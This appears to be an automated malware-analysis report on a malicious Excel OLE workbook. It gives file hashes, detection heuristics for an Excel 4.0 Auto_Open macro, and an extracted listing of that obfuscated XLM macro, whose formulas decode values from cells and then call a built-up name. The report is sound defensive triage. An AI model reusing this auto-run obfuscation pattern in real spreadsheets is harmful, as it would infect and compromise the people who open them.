Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 814e37ec714f3d63…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:05 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 841b21231ff6a68c764417213c2f7374 SHA-1: f4eff57e3bbc38758ac39b75c66ae54daf7f6f37 SHA-256: 814e37ec714f3d6303fbef56214be3d8ee259ec10902e5c753afdf488cfe8714
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6885 bytes
SHA-256: 340f98501a79803ee19e09d4caa32424024f30431eb25ae8bdd5a32fe54b3f00
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  EauzuOmbVA
' 0018     21 LABEL : Cell Value, String Constant - AfUdIe len=0 
' 0018     25 LABEL : Cell Value, String Constant - alIFKXgAOG len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E201 
' 0018     25 LABEL : Cell Value, String Constant - BfOpVFEbhK len=0 
' 0018     22 LABEL : Cell Value, String Constant - eyRQYCe len=0 
' 0018     25 LABEL : Cell Value, String Constant - fWoMwWtQlP len=0 
' 0018     27 LABEL : Cell Value, String Constant - gdkGfYyagAqn len=0 
' 0018     27 LABEL : Cell Value, String Constant - IncUeJinRdGL len=0 
' 0018     24 LABEL : Cell Value, String Constant - mFnEEgchu len=0 
' 0018     22 LABEL : Cell Value, String Constant - OCMILip len=0 
' 0018     20 LABEL : Cell Value, String Constant - OHRHx len=0 
' 0018     26 LABEL : Cell Value, String Constant - rCQbXzddmgW len=0 
' 0018     26 LABEL : Cell Value, String Constant - sksDElTiOPj len=0 
' 0018     21 LABEL : Cell Value, String Constant - SRScoT len=0 
' 0018     27 LABEL : Cell Value, String Constant - staVUgmfTyUK len=0 
' 0018     24 LABEL : Cell Value, String Constant - uxEOhlRoL len=0 
' 0018     20 LABEL : Cell Value, String Constant - vqjLM len=0 
' 0018     22 LABEL : Cell Value, String Constant - WHQTnfL len=0 
' 0018     21 LABEL : Cell Value, String Constant - XKjKqW len=0 
' 0018     21 LABEL : Cell Value, String Constant - yjeWsG len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZFSnM len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  EauzuOmbVA,Q56,"",-94.00000000000000000000
'  EauzuOmbVA,Q57,"",-6.00000000000000000000
'  EauzuOmbVA,Q58,"",-612.00000000000000000000
'  EauzuOmbVA,Q59,"",574.00000000000000000000
'  EauzuOmbVA,Q60,"",546.00000000000000000000
'  EauzuOmbVA,Q61,"",451.00000000000000000000
'  EauzuOmbVA,E97,"SET.NAME("gdkGfYyagAqn",0+VALUE("0"))",""
'  EauzuOmbVA,E102,"SET.NAME("ZFSnM",gdkGfYyagAqn)",""
'  EauzuOmbVA,E107,"SET.NAME("vqjLM",gdkGfYyagAqn)",""
'  EauzuOmbVA,E111,"SET.NAME("rCQbXzddmgW",COUNTA(staVUgmfTyUK))",""
'  EauzuOmbVA,E116,"SET.NAME("OHRHx",COUNTA(XKjKqW))",""
'  EauzuOmbVA,E120,[],""
'  EauzuOmbVA,E123,"SET.NAME("BfOpVFEbhK","")",""
'  EauzuOmbVA,E127,"ZFSnM",""
'  EauzuOmbVA,E130,"SET.NAME("fWoMwWtQlP",HLOOKUP("*",staVUgmfTyUK,ZFSnM,FALSE))",""
'  EauzuOmbVA,E135,"eyRQYCe",""
'  EauzuOmbVA,E140,"SET.NAME("alIFKXgAOG",gdkGfYyagAqn)",""
'  EauzuOmbVA,E144,[],""
'  EauzuOmbVA,E149,"alIFKXgAOG",""
'  EauzuOmbVA,E152,"uxEOhlRoL",""
'  EauzuOmbVA,E157,"AfUdIe",""
'  EauzuOmbVA,E161,"OCMILip",""
'  EauzuOmbVA,E164,"SET.NAME("mFnEEgchu",VALUE(HLOOKUP("*",XKjKqW,OCMILip,FALSE)))",""
'  EauzuOmbVA,E169,"IncUeJinRdGL",""
'  EauzuOmbVA,E172,"BfOpVFEbhK",""
'  EauzuOmbVA,E174,"vqjLM",""
'  EauzuOmbVA,E179,NEXT(),""
'  EauzuOmbVA,E183,"sksDElTiOPj",""
'  EauzuOmbVA,E186,[],""
'  EauzuOmbVA,E188,"SRScoT",""
'  EauzuOmbVA,E193,NEXT(),""
'  EauzuOmbVA,E197,RETURN(),""
'  EauzuOmbVA,E230,"SET.NAME("WHQTnfL",E97)",""
'  EauzuOmbVA,E232,"staVUgmfTyUK",""
'  EauzuOmbVA,E236,"SET.NAME("XKjKqW",R93C14)",""
'  EauzuOmbVA,E239,"SET.NAME("SRScoT",248)",""
'  EauzuOmbVA,E243,"SET.NAME("yjeWsG",5)",""
'  EauzuOmbVA,E247,WHQTnfL(),""
'  EauzuOmbVA,E248,HALT(),""

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